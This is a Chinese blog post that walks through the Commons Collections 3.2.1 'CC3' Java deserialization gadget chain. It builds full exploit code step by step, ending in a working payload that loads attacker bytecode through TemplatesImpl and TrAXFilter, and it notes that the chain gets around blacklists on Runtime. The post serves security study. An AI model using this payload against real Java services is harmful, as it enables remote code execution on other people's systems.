首页 > 其他分享 >CC3

CC3

时间:2023-08-18 21:22:21浏览次数:38  
标签:templates templatesClass TemplatesImpl CC3 TrAXFilter new class

参考链接

https://www.bilibili.com/video/BV1Zf4y1F74K

环境搭建

和jdk貌似关系不大,用之前的8u65或者8u71都可以
cc用的3.2.1

利用链分析

寻找链子的过程:
ClassLoader.defineClass()->TemplatesImpl#defineClass()->TemplatesImpl#defineTransletClasses()->
TemplatesImpl#getTransletInstance()->TemplatesImpl#newTransformer()->TrAXFilter#TrAXFilter()
->InstantiateTransformer#transform()->转化为CC1调用xxx.transform()
CC3和之前的链子存在一些差异,总结来说如下:

  • 不用InvokerTransformer命令执行,改用defineClass(),利用动态类加载来代码执行
  • 使用InstantiateTransformer#transform()来创建想要的实例对象,进而触发动态加载代码块

Exp编写

从defineClass()开始找的过程省略了,就是一直find usage,最后能走进TemplatesImpl。
关于defineClass()为什么能代码执行,去看基础知识的动态类加载。

TemplatesImpl#defineTransletClasses()

这个函数调用了defineClass(),并且由于TemplatesImpl是可序列化的,通过反射去改变像_bytecodes、_class[]这种的参数,可以控制程序的执行流。
image.png
defineTransletClasses()还是private的,find usage看哪个函数调用了它。
可以看到三个get开头、第四个字符大写的函数,实际上这里可以联想到fastjson的调用任意getter方法。
这里不深究,后面fastjson反序列化还会调试到这里,这里以getTransletInstance为例。
image.png

TemplatesImpl#getTransletInstance()

这里显然用反射控制一下_name就可以把链子串起来了。
image.png
getTransletInstance还是private的,再find usage往上找,只有一个结果
image.png

TemplatesImpl#newTransformer()

这里终于找到public的方法了,接下来可以去其他类找,谁调用了newTransformer
image.png
继续find usage,最终可以找到TrAXFilter#TrAXFilter()
image.png

TrAXFilter#TrAXFilter()

这个是个public的构造函数,直接正常创建TrAXFilter对象,就会触发调用链条
image.png
到这里我们测试一下是否可以执行代码,Exp如下:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
        new TrAXFilter(templates);
    }
}

image.png
现在问题是,怎么构造链子,能创建出一个自己想要的对象?
这里ysosierial的作者在CC3的payload里给出了答案,用InstantiateTransformer#transform。

InstantiateTransformer#transform()

这个类可序列化,transform里有段用反射获取构造函数,然后生成对象的代码,完美符合我们的要求。image.png
传参的细枝末节不细写了,尝试编写Exp:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
        // new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        instantiateTransformer.transform(TrAXFilter.class);

    }
}

image.png

转化为调用xxx.transform

现在把问题转化为熟悉的调用xxx.transform,直接用CC1/CC6的链子即可,传参不再细说,最终Exp如下:

public class TestCC3 {
    public static void main(String[] args) throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        //设置变量,确保函数流程走通
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"Jasper");
        Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);
            //code是要传的恶意代码
        byte[] code = Files.readAllBytes(Paths.get("D:\\Codes\\Java\\javasec\\CC\\target\\classes\\pojo\\Calc.class"));
        byte[][] codes = {code};
        bytecodesField.set(templates,codes);
        Field tfactoryField = templatesClass.getDeclaredField("_tfactory");
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //触发调用函数
//        templates.newTransformer();
//        new TrAXFilter(templates);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
//        instantiateTransformer.transform(TrAXFilter.class);


        //结合CC1-TransformedMap调用instantiateTransformer.transform(TrAXFilter.class);
        Transformer[] transformers =  new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
//        chainedTransformer.transform("jasper");
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value","Jasper");
        Map<Object,Object> transformedMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class,Map.class);
        aihConstructor.setAccessible(true);
        Object o = aihConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize();
    }
    public static void serialize(Object o) throws Exception{
        FileOutputStream fos = new FileOutputStream("object.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(o);

        System.out.println("序列化完成...");
    }

    public static void unserialize() throws Exception{
        FileInputStream fis = new FileInputStream("object.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        //反序列化执行readObject()方法
        Object o =  ois.readObject();
        ois.close();
        fis.close();

        System.out.println("反序列化完成...");
    }
}

总结

CC3在CC1、CC6的runtime对象、InvokerTransformer类被过滤时可以用来绕过。

标签:templates,templatesClass,TemplatesImpl,CC3,TrAXFilter,new,class
From: https://www.cnblogs.com/sketchpl4ne/p/17641634.html

相关文章

  • CC3链子分析
    <1>环境分析前两条CC1和CC6利用invoke反射调用Runtime().getRuntime().exec()执行命令很多时候服务器的代码当中的黑名单会选择禁用RuntimeCC3是利用类加载机制,动态加载恶意类来实现自动执行恶意类代码的这里测试环境为:jdk:jdk8u65CC:Commons-Collections3.2.1<2>链子分......
  • DCC32命令行方式编译delphi工程源码
    本文链接地址:http://blog.csdn.net/sushengmiyan/article/details/10284879作者:苏生米沿 一、首先找到这个可执行文件,熟悉delphi的人应该很容易就找到,打开你安装delphi的目录,如我的路径C:\ProgramFiles\Delphi_2007\bin\DCC32.EXE二、拷贝一份出来,我将其放在了我的测试目录下......
  • 【蓝牙音频SoC】BES2700YP、BES2600YP、AB1565A、QCC3056助力TWS耳机实现更高音质效果
    1、高通QCC3056是一种超低功耗、单芯片解决方案,经过优化,可用于无线耳塞和耳戴式设备。它支持TrueWirelessMirroring技术,并具有广泛的差异化功能。QCC3056集成了1x80MHz3......
  • DigitalKey CCC3.0 URSK
    URSK有什么用,如何用URSK用于安全测距时测距数据的加解密车辆使用安全测距SetupFlow去激活一个pre-derivedURSK。每个车钥匙最多有一个pre-derivedURSK。当另一个激活......
  • mipsel-linux-gcc 安装,opt/buildroot-gcc342/bin/mipsel-linux-gcc解决办法
    1.Commandnotfound错误的确认用mipsel-Linux-uclibc-gcc编译Uboot时,出现Commandnotfound错误,但是我检查了编译工具的路径等是正确的,之后在编译工具目录直接运行mips......
  • CC3
    cc_link_three0x00前言这里要单独学cc链子三是因为它的调用方式不是执行命令而是代码执行,是一种动态类加载机制来执行代码,然后类加载的时候要用类加载器0x01开整首先明......
  • [ccc3.0][数字钥匙] BLE配置和使用
    业主广播对于拥有者配对,只有传统(4.x)的LE1MPHY应使用。业主配对广告(ADV_IND)应遵循[30]第6卷B部分的2.3.1.1节。事件类型:可连接和可扫描ADV_IND由广告地址和广告数据组......
  • CCC3.0 Control Flow和Exchange
    控制流:  通知某个事件结束,进入到下一个事件;通知某个事件开启(删除attestation包,写数据);通知某个事件的结果和原因  Exchange:  在Auth0或者Auth1之后才能使用,依......
  • CCC3.0 SPAKE2+ SCP03
    SPAKE2手机端和车辆端在使用SPAKE2+存在的操作双端password、salt根据计算z0、z1。双端根据z0、z1计算w0、w1车辆端根据w1计算L手机端根据w0计算x,之后在ver......
  • CCC3.0证书链
    证书链与数据证书信任链是指:使用者密钥标识符与颁发证书的授权密钥标识符一一对应。 SErootCA证书(A):SE制造商的证书,受OEMCA信任,负责对嵌入在手机中的SE的SEroot证......